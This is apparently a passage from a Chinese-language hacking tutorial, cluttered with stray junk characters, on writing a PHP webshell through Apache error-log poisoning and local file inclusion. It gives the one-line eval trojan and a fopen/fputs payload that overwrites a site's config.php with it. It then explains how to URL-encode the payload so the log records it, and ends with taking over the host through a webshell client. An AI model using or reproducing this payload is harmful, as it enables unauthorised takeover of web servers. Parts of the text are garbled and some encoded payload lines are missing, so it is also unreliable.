因为上面那个很不实际，我在测试中发现日志动不动就是几十兆，那样玩起来也没意思了。下面想的再深入一点也就是我们写入一个很实际的webshell来用，也比上面那种慢的要死好很多。
0 V1 d% o$ m3 ^3 W" I" t& g
9 W5 F/ }/ T0 P( B9 O比如还是这句一句话木马 ) }1 @ H9 J, x+ M- H4 I+ [: {
<?eval($_POST[cmd]);?>
; a; e( y X- }# Q7 K F: X. x& Z9 ^! a, a
到这里你也许就想到了，这是个很不错的办法。接着看,如何写入就成了个问题，用这句，
6 h7 m8 J# [2 V( [fopen打开/home/virtual/www.xxx.com/forum/config.php这个文件，然后写入<?eval($_POST[cmd]);?>这个一句话木马服务端语句。连起来表达成php语句就是
% f# ~5 d% p) a/ N' v. n& U+ C( _) C$ ]$ q- G
<?$fp=fopen("/home/virtual/www.xxx.com/forum/config.php","w+");fputs($fp,"<?eval($_POST[cmd]);?>");
+ @% D7 y1 D; i9 s4 _fclose($fp);?> //在config.php里写入一句木马语句 L5 F7 j6 h' f" v9 I
3 A8 m! l; p( j9 }我们提交这句，再让Apache记录到错误日志里，再包含就成功写入shell,记得一定要转换成URL格式才成功。
^6 t8 m r7 ~. t$ `: r转换为

fclose%28%24fp%29%3B%3F%3E , h8 `) z" e" J1 }5 E4 G
我们提交

这样就错误日志里就记录下了这行写入webshell的代码。

这样webshell就写入成功了，config.php里就写入一句木马语句 / P/ L4 I8 K5 T( j; C
OK.

直接用lanker的客户端一连，主机就是你的了。

PS:上面讲的，前提是文件夹权限必须可写 ，一定要-rwxrwxrwx(777)才能继续，这里直接用上面列出的目录来查看。上面讲的都是在知道日志路径的情况下的利用 6 o9 j" ^, m+ c/ v- g
